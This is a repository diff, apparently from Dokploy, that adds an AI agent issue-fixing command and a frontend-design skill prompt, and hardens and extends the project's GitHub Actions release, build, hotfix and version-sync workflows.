||||
|
||||
- `mcp__dokploy__*` — the Dokploy API of the running instance. Use it to set up
|
||||
state (create a project, an app, an env var) and to verify backend behavior.
|
||||
Search for the tool you need; they are not all loaded upfront.
|
||||
- `mcp__playwright__*` — the browser at $DOKPLOY_BASE_URL. Use it for anything
|
||||
a user would see or click.
|
||||
|
||||
Pick by where the bug lives, not by convenience:
|
||||
|
||||
- Bug in the UI (rendering, forms, navigation, state) → reproduce in Playwright.
|
||||
The API returning correct data proves nothing here.
|
||||
- Bug in the API, deploy logic, or data → reproduce with the Dokploy MCP.
|
||||
A green screenshot proves nothing here.
|
||||
- Unclear → do both.
|
||||
|
||||
Use the MCP to reach the state you need quickly, then verify in the UI. Do not
|
||||
click through ten screens to create a project the API can create in one call.
|
||||
|
||||
## Steps
|
||||
|
||||
1. Run `gh issue view $1` and read the full issue, including comments.
|
||||
2. Reproduce the bug with the appropriate tool. If you cannot reproduce it,
|
||||
comment on the issue explaining what you tried and STOP.
|
||||
Do not implement anything.
|
||||
3. Implement the fix. Keep the change minimal and scoped to the issue.
|
||||
4. Run `pnpm test`, then re-run the same reproduction from step 2.
|
||||
5. Only if both pass: commit and run `gh pr create`. The PR description must
|
||||
include the before/after reproduction steps and reference the issue.
|
||||
|
||||
Never skip step 2. A fix you cannot reproduce and then verify is not a fix.
|
||||
@@ -0,0 +1,42 @@
|
||||
---
|
||||
name: frontend-design
|
||||
description: Create distinctive, production-grade frontend interfaces with high design quality. Use this skill when the user asks to build web components, pages, or applications. Generates creative, polished code that avoids generic AI aesthetics.
|
||||
license: Complete terms in LICENSE.txt
|
||||
---
|
||||
|
||||
This skill guides creation of distinctive, production-grade frontend interfaces that avoid generic "AI slop" aesthetics. Implement real working code with exceptional attention to aesthetic details and creative choices.
|
||||
|
||||
The user provides frontend requirements: a component, page, application, or interface to build. They may include context about the purpose, audience, or technical constraints.
|
||||
|
||||
## Design Thinking
|
||||
|
||||
Before coding, understand the context and commit to a BOLD aesthetic direction:
|
||||
- **Purpose**: What problem does this interface solve? Who uses it?
|
||||
- **Tone**: Pick an extreme: brutally minimal, maximalist chaos, retro-futuristic, organic/natural, luxury/refined, playful/toy-like, editorial/magazine, brutalist/raw, art deco/geometric, soft/pastel, industrial/utilitarian, etc. There are so many flavors to choose from. Use these for inspiration but design one that is true to the aesthetic direction.
|
||||
- **Constraints**: Technical requirements (framework, performance, accessibility).
|
||||
- **Differentiation**: What makes this UNFORGETTABLE? What's the one thing someone will remember?
|
||||
|
||||
**CRITICAL**: Choose a clear conceptual direction and execute it with precision. Bold maximalism and refined minimalism both work - the key is intentionality, not intensity.
|
||||
|
||||
Then implement working code (HTML/CSS/JS, React, Vue, etc.) that is:
|
||||
- Production-grade and functional
|
||||
- Visually striking and memorable
|
||||
- Cohesive with a clear aesthetic point-of-view
|
||||
- Meticulously refined in every detail
|
||||
|
||||
## Frontend Aesthetics Guidelines
|
||||
|
||||
Focus on:
|
||||
- **Typography**: Choose fonts that are beautiful, unique, and interesting. Avoid generic fonts like Arial and Inter; opt instead for distinctive choices that elevate the frontend's aesthetics; unexpected, characterful font choices. Pair a distinctive display font with a refined body font.
|
||||
- **Color & Theme**: Commit to a cohesive aesthetic. Use CSS variables for consistency. Dominant colors with sharp accents outperform timid, evenly-distributed palettes.
|
||||
- **Motion**: Use animations for effects and micro-interactions. Prioritize CSS-only solutions for HTML. Use Motion library for React when available. Focus on high-impact moments: one well-orchestrated page load with staggered reveals (animation-delay) creates more delight than scattered micro-interactions. Use scroll-triggering and hover states that surprise.
|
||||
- **Spatial Composition**: Unexpected layouts. Asymmetry. Overlap. Diagonal flow. Grid-breaking elements. Generous negative space OR controlled density.
|
||||
- **Backgrounds & Visual Details**: Create atmosphere and depth rather than defaulting to solid colors. Add contextual effects and textures that match the overall aesthetic. Apply creative forms like gradient meshes, noise textures, geometric patterns, layered transparencies, dramatic shadows, decorative borders, custom cursors, and grain overlays.
|
||||
|
||||
NEVER use generic AI-generated aesthetics like overused font families (Inter, Roboto, Arial, system fonts), cliched color schemes (particularly purple gradients on white backgrounds), predictable layouts and component patterns, and cookie-cutter design that lacks context-specific character.
|
||||
|
||||
Interpret creatively and make unexpected choices that feel genuinely designed for the context. No design should be the same. Vary between light and dark themes, different fonts, different aesthetics. NEVER converge on common choices (Space Grotesk, for example) across generations.
|
||||
|
||||
**IMPORTANT**: Match implementation complexity to the aesthetic vision. Maximalist designs need elaborate code with extensive animations and effects. Minimalist or refined designs need restraint, precision, and careful attention to spacing, typography, and subtle details. Elegance comes from executing the vision well.
|
||||
|
||||
Remember: Claude is capable of extraordinary creative work. Don't hold back, show what can truly be created when thinking outside the box and committing fully to a distinctive vision.
|
||||
@@ -14,34 +14,34 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout Repository
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v7
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Get version from package.json
|
||||
run: echo "VERSION=$(jq -r .version ./apps/dokploy/package.json)" >> $GITHUB_ENV
|
||||
run: echo "VERSION=$(jq -r .version ./apps/dokploy/package.json)" >> "$GITHUB_ENV"
|
||||
|
||||
- name: Get latest GitHub tag
|
||||
run: |
|
||||
LATEST_TAG=$(git ls-remote --tags origin | awk -F'/' '{print $3}' | sort -V | tail -n1)
|
||||
echo "LATEST_TAG=$LATEST_TAG" >> $GITHUB_ENV
|
||||
echo $LATEST_TAG
|
||||
echo "LATEST_TAG=$LATEST_TAG" >> "$GITHUB_ENV"
|
||||
echo "$LATEST_TAG"
|
||||
- name: Compare versions
|
||||
run: |
|
||||
if [ "${{ env.VERSION }}" != "${{ env.LATEST_TAG }}" ]; then
|
||||
if [ "$VERSION" != "$LATEST_TAG" ]; then
|
||||
VERSION_CHANGED="true"
|
||||
else
|
||||
VERSION_CHANGED="false"
|
||||
fi
|
||||
echo "VERSION_CHANGED=$VERSION_CHANGED" >> $GITHUB_ENV
|
||||
echo "VERSION_CHANGED=$VERSION_CHANGED" >> "$GITHUB_ENV"
|
||||
echo "Comparing versions:"
|
||||
echo "Current version: ${{ env.VERSION }}"
|
||||
echo "Latest tag: ${{ env.LATEST_TAG }}"
|
||||
echo "Current version: $VERSION"
|
||||
echo "Latest tag: $LATEST_TAG"
|
||||
echo "Version changed: $VERSION_CHANGED"
|
||||
- name: Check if a PR already exists
|
||||
run: |
|
||||
PR_EXISTS=$(gh pr list --state open --base main --head canary --json number --jq '. | length')
|
||||
echo "PR_EXISTS=$PR_EXISTS" >> $GITHUB_ENV
|
||||
echo "PR_EXISTS=$PR_EXISTS" >> "$GITHUB_ENV"
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GH_PAT }}
|
||||
|
||||
@@ -56,12 +56,12 @@ jobs:
|
||||
git push origin canary
|
||||
|
||||
gh pr create \
|
||||
--title "🚀 Release ${{ env.VERSION }}" \
|
||||
--body '
|
||||
This PR promotes changes from `canary` to `main` for version ${{ env.VERSION }}.
|
||||
--title "🚀 Release $VERSION" \
|
||||
--body "
|
||||
This PR promotes changes from \`canary\` to \`main\` for version $VERSION.
|
||||
|
||||
### 🔍 Changes Include:
|
||||
- Version bump to ${{ env.VERSION }}
|
||||
- Version bump to $VERSION
|
||||
- All changes from canary branch
|
||||
|
||||
### ✅ Pre-merge Checklist:
|
||||
@@ -69,7 +69,7 @@ jobs:
|
||||
- [ ] Documentation updated
|
||||
- [ ] Docker images built and tested
|
||||
|
||||
> 🤖 This PR was automatically generated by [GitHub Actions](https://github.com/actions)' \
|
||||
> 🤖 This PR was automatically generated by [GitHub Actions](https://github.com/actions)" \
|
||||
--base main \
|
||||
--head canary \
|
||||
--label "release" --label "automated pr" || true \
|
||||
|
||||
@@ -5,33 +5,38 @@ on:
|
||||
branches: [main, canary]
|
||||
workflow_dispatch:
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
jobs:
|
||||
build-and-push-cloud-image:
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v3
|
||||
uses: actions/checkout@v7
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Set tag and version
|
||||
id: meta-cloud
|
||||
run: |
|
||||
VERSION=$(jq -r .version apps/dokploy/package.json)
|
||||
echo "version=$VERSION" >> $GITHUB_OUTPUT
|
||||
if [ "${{ github.ref }}" = "refs/heads/main" ]; then
|
||||
echo "tags=siumauricio/cloud:latest,siumauricio/cloud:${VERSION}" >> $GITHUB_OUTPUT
|
||||
echo "version=$VERSION" >> "$GITHUB_OUTPUT"
|
||||
if [ "$GITHUB_REF" = "refs/heads/main" ]; then
|
||||
echo "tags=siumauricio/cloud:latest,siumauricio/cloud:${VERSION}" >> "$GITHUB_OUTPUT"
|
||||
else
|
||||
echo "tags=siumauricio/cloud:canary" >> $GITHUB_OUTPUT
|
||||
echo "tags=siumauricio/cloud:canary" >> "$GITHUB_OUTPUT"
|
||||
fi
|
||||
|
||||
- name: Log in to Docker Hub
|
||||
uses: docker/login-action@v2
|
||||
uses: docker/login-action@v4
|
||||
with:
|
||||
username: ${{ secrets.DOCKERHUB_USERNAME }}
|
||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||
|
||||
- name: Build and push Docker image
|
||||
uses: docker/build-push-action@v4
|
||||
uses: docker/build-push-action@v7
|
||||
with:
|
||||
context: .
|
||||
file: ./Dockerfile.cloud
|
||||
@@ -48,26 +53,28 @@ jobs:
|
||||
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v3
|
||||
uses: actions/checkout@v7
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Set tag and version
|
||||
id: meta-schedule
|
||||
run: |
|
||||
VERSION=$(jq -r .version apps/dokploy/package.json)
|
||||
if [ "${{ github.ref }}" = "refs/heads/main" ]; then
|
||||
echo "tags=siumauricio/schedule:latest,siumauricio/schedule:${VERSION}" >> $GITHUB_OUTPUT
|
||||
if [ "$GITHUB_REF" = "refs/heads/main" ]; then
|
||||
echo "tags=siumauricio/schedule:latest,siumauricio/schedule:${VERSION}" >> "$GITHUB_OUTPUT"
|
||||
else
|
||||
echo "tags=siumauricio/schedule:canary" >> $GITHUB_OUTPUT
|
||||
echo "tags=siumauricio/schedule:canary" >> "$GITHUB_OUTPUT"
|
||||
fi
|
||||
|
||||
- name: Log in to Docker Hub
|
||||
uses: docker/login-action@v2
|
||||
uses: docker/login-action@v4
|
||||
with:
|
||||
username: ${{ secrets.DOCKERHUB_USERNAME }}
|
||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||
|
||||
- name: Build and push Docker image
|
||||
uses: docker/build-push-action@v4
|
||||
uses: docker/build-push-action@v7
|
||||
with:
|
||||
context: .
|
||||
file: ./Dockerfile.schedule
|
||||
@@ -80,26 +87,28 @@ jobs:
|
||||
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v3
|
||||
uses: actions/checkout@v7
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Set tag and version
|
||||
id: meta-server
|
||||
run: |
|
||||
VERSION=$(jq -r .version apps/dokploy/package.json)
|
||||
if [ "${{ github.ref }}" = "refs/heads/main" ]; then
|
||||
echo "tags=siumauricio/server:latest,siumauricio/server:${VERSION}" >> $GITHUB_OUTPUT
|
||||
if [ "$GITHUB_REF" = "refs/heads/main" ]; then
|
||||
echo "tags=siumauricio/server:latest,siumauricio/server:${VERSION}" >> "$GITHUB_OUTPUT"
|
||||
else
|
||||
echo "tags=siumauricio/server:canary" >> $GITHUB_OUTPUT
|
||||
echo "tags=siumauricio/server:canary" >> "$GITHUB_OUTPUT"
|
||||
fi
|
||||
|
||||
- name: Log in to Docker Hub
|
||||
uses: docker/login-action@v2
|
||||
uses: docker/login-action@v4
|
||||
with:
|
||||
username: ${{ secrets.DOCKERHUB_USERNAME }}
|
||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||
|
||||
- name: Build and push Docker image
|
||||
uses: docker/build-push-action@v4
|
||||
uses: docker/build-push-action@v7
|
||||
with:
|
||||
context: .
|
||||
file: ./Dockerfile.server
|
||||
|
||||
+142
-22
@@ -8,18 +8,23 @@ on:
|
||||
env:
|
||||
IMAGE_NAME: dokploy/dokploy
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
jobs:
|
||||
docker-amd:
|
||||
runs-on: ubuntu-22.04
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v7
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Set up Docker Buildx
|
||||
uses: docker/setup-buildx-action@v3
|
||||
uses: docker/setup-buildx-action@v4
|
||||
|
||||
- name: Login to Docker Hub
|
||||
uses: docker/login-action@v3
|
||||
uses: docker/login-action@v4
|
||||
with:
|
||||
username: ${{ secrets.DOCKERHUB_USERNAME }}
|
||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||
@@ -27,15 +32,15 @@ jobs:
|
||||
- name: Set tag and version
|
||||
id: meta
|
||||
run: |
|
||||
if [ "${{ github.ref }}" = "refs/heads/main" ]; then
|
||||
if [ "$GITHUB_REF" = "refs/heads/main" ]; then
|
||||
TAG="latest"
|
||||
VERSION=$(node -p "require('./apps/dokploy/package.json').version")
|
||||
elif [ "${{ github.ref }}" = "refs/heads/canary" ]; then
|
||||
elif [ "$GITHUB_REF" = "refs/heads/canary" ]; then
|
||||
TAG="canary"
|
||||
else
|
||||
TAG="feature"
|
||||
fi
|
||||
echo "tags=${IMAGE_NAME}:${TAG}-amd64" >> $GITHUB_OUTPUT
|
||||
echo "tags=${IMAGE_NAME}:${TAG}-amd64" >> "$GITHUB_OUTPUT"
|
||||
|
||||
- name: Prepare env file
|
||||
run: |
|
||||
@@ -43,7 +48,7 @@ jobs:
|
||||
cp apps/dokploy/.env.production.example apps/dokploy/.env.production
|
||||
|
||||
- name: Build and push
|
||||
uses: docker/build-push-action@v5
|
||||
uses: docker/build-push-action@v7
|
||||
with:
|
||||
context: .
|
||||
platforms: linux/amd64
|
||||
@@ -53,13 +58,15 @@ jobs:
|
||||
runs-on: ubuntu-24.04-arm
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v7
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Set up Docker Buildx
|
||||
uses: docker/setup-buildx-action@v3
|
||||
uses: docker/setup-buildx-action@v4
|
||||
|
||||
- name: Login to Docker Hub
|
||||
uses: docker/login-action@v3
|
||||
uses: docker/login-action@v4
|
||||
with:
|
||||
username: ${{ secrets.DOCKERHUB_USERNAME }}
|
||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||
@@ -68,15 +75,15 @@ jobs:
|
||||
id: meta
|
||||
run: |
|
||||
VERSION=$(node -p "require('./apps/dokploy/package.json').version")
|
||||
if [ "${{ github.ref }}" = "refs/heads/main" ]; then
|
||||
if [ "$GITHUB_REF" = "refs/heads/main" ]; then
|
||||
TAG="latest"
|
||||
VERSION=$(node -p "require('./apps/dokploy/package.json').version")
|
||||
elif [ "${{ github.ref }}" = "refs/heads/canary" ]; then
|
||||
elif [ "$GITHUB_REF" = "refs/heads/canary" ]; then
|
||||
TAG="canary"
|
||||
else
|
||||
TAG="feature"
|
||||
fi
|
||||
echo "tags=${IMAGE_NAME}:${TAG}-arm64" >> $GITHUB_OUTPUT
|
||||
echo "tags=${IMAGE_NAME}:${TAG}-arm64" >> "$GITHUB_OUTPUT"
|
||||
|
||||
- name: Prepare env file
|
||||
run: |
|
||||
@@ -84,7 +91,7 @@ jobs:
|
||||
cp apps/dokploy/.env.production.example apps/dokploy/.env.production
|
||||
|
||||
- name: Build and push
|
||||
uses: docker/build-push-action@v5
|
||||
uses: docker/build-push-action@v7
|
||||
with:
|
||||
context: .
|
||||
platforms: linux/arm64
|
||||
@@ -96,20 +103,22 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v7
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Set up Docker Buildx
|
||||
uses: docker/setup-buildx-action@v3
|
||||
uses: docker/setup-buildx-action@v4
|
||||
|
||||
- name: Login to Docker Hub
|
||||
uses: docker/login-action@v3
|
||||
uses: docker/login-action@v4
|
||||
with:
|
||||
username: ${{ secrets.DOCKERHUB_USERNAME }}
|
||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||
|
||||
- name: Create and push manifests
|
||||
run: |
|
||||
if [ "${{ github.ref }}" = "refs/heads/main" ]; then
|
||||
if [ "$GITHUB_REF" = "refs/heads/main" ]; then
|
||||
VERSION=$(node -p "require('./apps/dokploy/package.json').version")
|
||||
TAG="latest"
|
||||
|
||||
@@ -121,7 +130,7 @@ jobs:
|
||||
${IMAGE_NAME}:${TAG}-amd64 \
|
||||
${IMAGE_NAME}:${TAG}-arm64
|
||||
|
||||
elif [ "${{ github.ref }}" = "refs/heads/canary" ]; then
|
||||
elif [ "$GITHUB_REF" = "refs/heads/canary" ]; then
|
||||
TAG="canary"
|
||||
docker buildx imagetools create -t ${IMAGE_NAME}:${TAG} \
|
||||
${IMAGE_NAME}:${TAG}-amd64 \
|
||||
@@ -138,25 +147,136 @@ jobs:
|
||||
needs: [combine-manifests]
|
||||
if: github.ref == 'refs/heads/main'
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
contents: write
|
||||
outputs:
|
||||
version: ${{ steps.get_version.outputs.version }}
|
||||
npm_version: ${{ steps.get_version.outputs.npm_version }}
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v7
|
||||
with:
|
||||
fetch-depth: 0
|
||||
persist-credentials: false
|
||||
|
||||
- name: Get version
|
||||
id: get_version
|
||||
run: |
|
||||
VERSION=$(node -p "require('./apps/dokploy/package.json').version")
|
||||
echo "version=$VERSION" >> $GITHUB_OUTPUT
|
||||
echo "version=$VERSION" >> "$GITHUB_OUTPUT"
|
||||
echo "npm_version=${VERSION#v}" >> "$GITHUB_OUTPUT"
|
||||
|
||||
- name: Fetch install.sh
|
||||
env:
|
||||
RELEASE_VERSION: ${{ steps.get_version.outputs.version }}
|
||||
run: |
|
||||
curl -fsSL https://raw.githubusercontent.com/Dokploy/website/main/apps/website/public/install.sh -o install.sh
|
||||
head -1 install.sh | grep -q '^#!' || { echo "Downloaded install.sh is not a shell script"; exit 1; }
|
||||
grep -q 'DOKPLOY_VERSION' install.sh || { echo "install.sh no longer supports DOKPLOY_VERSION pinning"; exit 1; }
|
||||
{ head -1 install.sh; echo "DOKPLOY_VERSION=\"\${DOKPLOY_VERSION:-${RELEASE_VERSION}}\""; tail -n +2 install.sh; } > install-pinned.sh
|
||||
mv install-pinned.sh install.sh
|
||||
|
||||
- name: Create Release
|
||||
uses: softprops/action-gh-release@v2
|
||||
uses: softprops/action-gh-release@v3
|
||||
with:
|
||||
tag_name: ${{ steps.get_version.outputs.version }}
|
||||
target_commitish: ${{ github.sha }}
|
||||
name: ${{ steps.get_version.outputs.version }}
|
||||
generate_release_notes: true
|
||||
draft: false
|
||||
prerelease: false
|
||||
files: install.sh
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
|
||||
sync-version:
|
||||
needs: [generate-release]
|
||||
if: github.ref == 'refs/heads/main'
|
||||
runs-on: ubuntu-latest
|
||||
env:
|
||||
NPM_VERSION: ${{ needs.generate-release.outputs.npm_version }}
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v7
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- uses: pnpm/action-setup@v6
|
||||
with:
|
||||
version: 10.22.0
|
||||
|
||||
- uses: actions/setup-node@v7
|
||||
with:
|
||||
node-version: 24.4.0
|
||||
cache: pnpm
|
||||
|
||||
- name: Generate OpenAPI specification
|
||||
run: |
|
||||
pnpm install --frozen-lockfile
|
||||
pnpm generate:openapi
|
||||
|
||||
- name: Sync version to MCP repository
|
||||
run: |
|
||||
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/mcp.git /tmp/mcp-repo
|
||||
cd /tmp/mcp-repo
|
||||
|
||||
jq --arg v "$NPM_VERSION" '.version = $v' package.json > package.json.tmp
|
||||
mv package.json.tmp package.json
|
||||
|
||||
cp $GITHUB_WORKSPACE/openapi.json src/generated/openapi.json
|
||||
pnpm install
|
||||
pnpm run generate
|
||||
|
||||
git config user.name "Dokploy Bot"
|
||||
git config user.email "bot@dokploy.com"
|
||||
git add -A
|
||||
git commit -m "chore: bump version to $NPM_VERSION" \
|
||||
-m "Source: $GITHUB_REPOSITORY@$GITHUB_SHA" \
|
||||
--allow-empty
|
||||
git push
|
||||
|
||||
echo "✅ MCP repo synced to version $NPM_VERSION"
|
||||
|
||||
- name: Sync version to CLI repository
|
||||
run: |
|
||||
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/cli.git /tmp/cli-repo
|
||||
cd /tmp/cli-repo
|
||||
|
||||
jq --arg v "$NPM_VERSION" '.version = $v' package.json > package.json.tmp
|
||||
mv package.json.tmp package.json
|
||||
|
||||
cp $GITHUB_WORKSPACE/openapi.json ./openapi.json
|
||||
pnpm install
|
||||
pnpm run generate
|
||||
|
||||
git config user.name "Dokploy Bot"
|
||||
git config user.email "bot@dokploy.com"
|
||||
git add -A
|
||||
git commit -m "chore: bump version to $NPM_VERSION" \
|
||||
-m "Source: $GITHUB_REPOSITORY@$GITHUB_SHA" \
|
||||
--allow-empty
|
||||
git push
|
||||
|
||||
echo "✅ CLI repo synced to version $NPM_VERSION"
|
||||
|
||||
- name: Sync version to SDK repository
|
||||
run: |
|
||||
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/sdk.git /tmp/sdk-repo
|
||||
cd /tmp/sdk-repo
|
||||
|
||||
jq --arg v "$NPM_VERSION" '.version = $v' package.json > package.json.tmp
|
||||
mv package.json.tmp package.json
|
||||
|
||||
cp $GITHUB_WORKSPACE/openapi.json ./openapi.json
|
||||
pnpm install
|
||||
pnpm run generate
|
||||
|
||||
git config user.name "Dokploy Bot"
|
||||
git config user.email "bot@dokploy.com"
|
||||
git add -A
|
||||
git commit -m "chore: bump version to $NPM_VERSION" \
|
||||
-m "Source: $GITHUB_REPOSITORY@$GITHUB_SHA" \
|
||||
--allow-empty
|
||||
git push
|
||||
|
||||
echo "✅ SDK repo synced to version $NPM_VERSION"
|
||||
|
||||
@@ -6,17 +6,22 @@ on:
|
||||
pull_request:
|
||||
branches: [canary]
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
jobs:
|
||||
format:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v7
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Setup biomeJs
|
||||
uses: biomejs/setup-biome@v2
|
||||
uses: biomejs/setup-biome@v2
|
||||
|
||||
- name: Run Biome formatter
|
||||
run: biome format --write
|
||||
|
||||
- uses: autofix-ci/action@635ffb0c9798bd160680f18fd73371e355b85f27 # v1.3.2
|
||||
- uses: autofix-ci/action@c5b2d67aa2274e7b5a18224e8171550871fc7e4a # v1.3.4
|
||||
|
||||
@@ -0,0 +1,51 @@
|
||||
name: Hotfix Cherry-Pick
|
||||
|
||||
on:
|
||||
pull_request_target:
|
||||
types: [closed, labeled]
|
||||
|
||||
concurrency:
|
||||
group: hotfix-to-main
|
||||
cancel-in-progress: false
|
||||
|
||||
jobs:
|
||||
cherry-pick:
|
||||
if: github.event.pull_request.merged == true && contains(github.event.pull_request.labels.*.name, 'hotfix')
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
contents: write
|
||||
steps:
|
||||
- name: Checkout main
|
||||
uses: actions/checkout@v7
|
||||
with:
|
||||
ref: main
|
||||
fetch-depth: 0
|
||||
token: ${{ secrets.HOTFIX_PUSH_TOKEN }}
|
||||
|
||||
- name: Cherry-pick fix to main
|
||||
env:
|
||||
MERGE_SHA: ${{ github.event.pull_request.merge_commit_sha }}
|
||||
run: |
|
||||
git config user.name "Dokploy Bot"
|
||||
git config user.email "bot@dokploy.com"
|
||||
SHA="$MERGE_SHA"
|
||||
if [ "$(git rev-list --parents -n1 "$SHA" | wc -w)" -gt 2 ]; then
|
||||
git cherry-pick -x -m 1 "$SHA"
|
||||
else
|
||||
git cherry-pick -x "$SHA"
|
||||
fi
|
||||
git commit --amend -m "$(git log -1 --format=%B)" -m "[skip ci]"
|
||||
git push origin main
|
||||
|
||||
- name: Sync cherry-pick back into canary
|
||||
run: |
|
||||
git config user.name "Dokploy Bot"
|
||||
git config user.email "bot@dokploy.com"
|
||||
git fetch origin canary main
|
||||
git checkout -B canary origin/canary
|
||||
if ! git merge origin/main -m "chore: sync hotfix from main into canary [skip ci]"; then
|
||||
git merge --abort
|
||||
echo "::error::Could not auto-sync the hotfix into canary (real conflict, not just history divergence). Merge main into canary manually to avoid a conflict on the next release PR."
|
||||
exit 1
|
||||
fi
|
||||
git push origin canary
|
||||
@@ -0,0 +1,32 @@
|
||||
name: Hotfix Release
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency:
|
||||
group: hotfix-to-main
|
||||
cancel-in-progress: false
|
||||
|
||||
# Push to main goes through HOTFIX_PUSH_TOKEN, not the workflow token.
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
jobs:
|
||||
release:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout main
|
||||
uses: actions/checkout@v7
|
||||
with:
|
||||
ref: main
|
||||
token: ${{ secrets.HOTFIX_PUSH_TOKEN }}
|
||||
|
||||
- name: Bump patch version and push
|
||||
run: |
|
||||
git config user.name "Dokploy Bot"
|
||||
git config user.email "bot@dokploy.com"
|
||||
CURRENT=$(node -p "require('./apps/dokploy/package.json').version")
|
||||
NEW=$(echo "$CURRENT" | awk -F. -v OFS=. '{$NF++; print}')
|
||||
sed -i "s/\"version\": \"$CURRENT\"/\"version\": \"$NEW\"/" apps/dokploy/package.json
|
||||
git commit -am "chore: release ${NEW}"
|
||||
git push origin main
|
||||
@@ -7,18 +7,23 @@ on:
|
||||
env:
|
||||
IMAGE_NAME: dokploy/monitoring
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
jobs:
|
||||
docker-amd:
|
||||
runs-on: ubuntu-22.04
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v7
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Set up Docker Buildx
|
||||
uses: docker/setup-buildx-action@v3
|
||||
uses: docker/setup-buildx-action@v4
|
||||
|
||||
- name: Login to Docker Hub
|
||||
uses: docker/login-action@v3
|
||||
uses: docker/login-action@v4
|
||||
with:
|
||||
username: ${{ secrets.DOCKERHUB_USERNAME }}
|
||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||
@@ -26,17 +31,17 @@ jobs:
|
||||
- name: Set tag
|
||||
id: meta
|
||||
run: |
|
||||
if [ "${{ github.ref }}" = "refs/heads/main" ]; then
|
||||
if [ "$GITHUB_REF" = "refs/heads/main" ]; then
|
||||
TAG="latest"
|
||||
elif [ "${{ github.ref }}" = "refs/heads/canary" ]; then
|
||||
elif [ "$GITHUB_REF" = "refs/heads/canary" ]; then
|
||||
TAG="canary"
|
||||
else
|
||||
TAG="feature"
|
||||
fi
|
||||
echo "tags=${IMAGE_NAME}:${TAG}-amd64" >> $GITHUB_OUTPUT
|
||||
echo "tags=${IMAGE_NAME}:${TAG}-amd64" >> "$GITHUB_OUTPUT"
|
||||
|
||||
- name: Build and push
|
||||
uses: docker/build-push-action@v5
|
||||
uses: docker/build-push-action@v7
|
||||
with:
|
||||
context: .
|
||||
file: ./Dockerfile.monitoring
|
||||
@@ -47,13 +52,15 @@ jobs:
|
||||
runs-on: ubuntu-24.04-arm
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v7
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Set up Docker Buildx
|
||||
uses: docker/setup-buildx-action@v3
|
||||
uses: docker/setup-buildx-action@v4
|
||||
|
||||
- name: Login to Docker Hub
|
||||
uses: docker/login-action@v3
|
||||
uses: docker/login-action@v4
|
||||
with:
|
||||
username: ${{ secrets.DOCKERHUB_USERNAME }}
|
||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||
@@ -61,17 +68,17 @@ jobs:
|
||||
- name: Set
|
||||
id: meta
|
||||
run: |
|
||||
if [ "${{ github.ref }}" = "refs/heads/main" ]; then
|
||||
if [ "$GITHUB_REF" = "refs/heads/main" ]; then
|
||||
TAG="latest"
|
||||
elif [ "${{ github.ref }}" = "refs/heads/canary" ]; then
|
||||
elif [ "$GITHUB_REF" = "refs/heads/canary" ]; then
|
||||
TAG="canary"
|
||||
else
|
||||
TAG="feature"
|
||||
fi
|
||||
echo "tags=${IMAGE_NAME}:${TAG}-arm64" >> $GITHUB_OUTPUT
|
||||
echo "tags=${IMAGE_NAME}:${TAG}-arm64" >> "$GITHUB_OUTPUT"
|
||||
|
||||
- name: Build and push
|
||||
uses: docker/build-push-action@v5
|
||||
uses: docker/build-push-action@v7
|
||||
with:
|
||||
context: .
|
||||
